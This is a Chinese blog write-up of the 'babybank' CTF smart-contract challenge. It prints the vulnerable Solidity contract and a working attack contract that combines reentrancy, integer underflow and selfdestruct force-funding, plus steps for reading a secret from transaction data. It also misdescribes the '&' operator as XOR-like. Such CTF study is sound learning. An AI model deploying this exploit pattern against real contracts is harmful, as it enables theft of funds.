前言
開始學習區塊鏈的安全問題,先從這道比較簡單的區塊鏈題目入手,學習一波,
WP
原始碼:
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 3
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}
目前我還不知道區塊鏈的題目應該怎么復現,所以在本地Remix上試的時候就去除了得到flag的代碼和一部分代碼,只保留在本地可以復現成功的代碼,
代碼不算長,大致看一下,想要得到flag需要balance[msg.sender] >= 10000000000,而且差不多有3個challenge,首先是這個:
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
&是相同為0,不同為1,因此這部分要求msg.sender以0xb1b1結尾,第一次做區塊鏈的題目確實沒啥思維了,接下來就是從大師傅們的WP上學習東西,
有這么一個網站,可以生成指定前綴或者后綴的ETC地址賬號:
https://vanity-eth.tk/
因此先利用這個工具生成個賬號,再去profit函式就可以了:

然后就是這里:
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
說白了就是需要傳的guess_secret和owner傳的new_secret一樣,又學習到了,就是去看合約的交易資訊:

注意到下面的Input Data的引數,非常的眼熟了,就是我昨天剛學習的函式選擇器及引數編碼那部分的知識,
本地復現一下就可以知道:
bytes4 public selector1= bytes4(this.set_secret.selector);

前面的0x8e2a219e就是函式簽名了,因此后面的000000000000000000000000000000000000000000000000000000000001e240就是傳入的引數經過編碼后的結果,因為是uint256型別,因此直接1e240進行16進制解碼就得到123456(這里是我本地復現的,所以就是模擬輸入了個值),


然后就到了最終的利用處了:
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
關鍵的漏洞函式就是withdraw這個函式,需要amount為2,而且當前賬號的余額要大于等于2,這樣就會觸發這兩行代碼:
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
一行是重入攻擊,一行是整形下溢位,首先是call那里利用重入攻擊,如果msg.sender本身就是一個合約的話,在轉賬的時候會呼叫那個合約的fallback函式,
這時候如果構造一個惡意的合約,在它的fallback函式里面再次呼叫一次題目中的withdray函式,這樣就相當于呼叫了2次withdraw,經過了2次balance[msg.sender] -= amount;,第一次是2-2,第二次是0-2,實作整形下溢位,變成很大的一個數字,這樣就可以實作balance[msg.sender] >= 10000000000,
還有一個問題就是,題目的合約本身是沒有ETH的,因此也就是說沒法呼叫call,因此需要我們給合約轉錢才行,但是代碼里并沒有可以賺錢的函式,這里又學到一點,利用自殺函式來幫助我們強制轉賬,
我們知道selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);陳述句可以幫助我們銷毀合并并將合約中的錢全部轉到括號中的地址內,
因此可以利用這種銷毀合約的方式來強制轉賬,
寫個合約:
contract feng {
function kill() public payable {
selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));
}
constructor() public payable{
}
}
在deploy的時候向它轉0.3ETH,

然后銷毀,就可以強制向那個合約里轉0.3ETH,(其實0.2也行)
接著就連著上面的,寫個攻擊合約:
pragma solidity ^0.4.24;
contract feng {
function kill() public payable {
selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));
}
constructor() public payable{
}
}
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attack {
BabybankInterface private bank = BabybankInterface(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4);
bool flag = false;
function() external payable{
require(flag==false);
flag=true;
bank.withdraw(2);
}
function att() public {
bank.withdraw(2);
}
}
攻擊之前,利用b1b1結尾的那個賬號呼叫transfer函式,把2塊錢轉到我們這個攻擊合約上,
然后攻擊合約再呼叫att:

呼叫完之后再看一下賬號的余額,發現下溢位成功:

然后再呼叫payforflag就可以了(因為是本地復現,就沒考慮后面這些了),
轉載請註明出處,本文鏈接:https://www.uj5u.com/qukuanlian/275052.html
標籤:區塊鏈
上一篇:Go語言中的資料型別的簡單介紹
下一篇:理解自由現金流
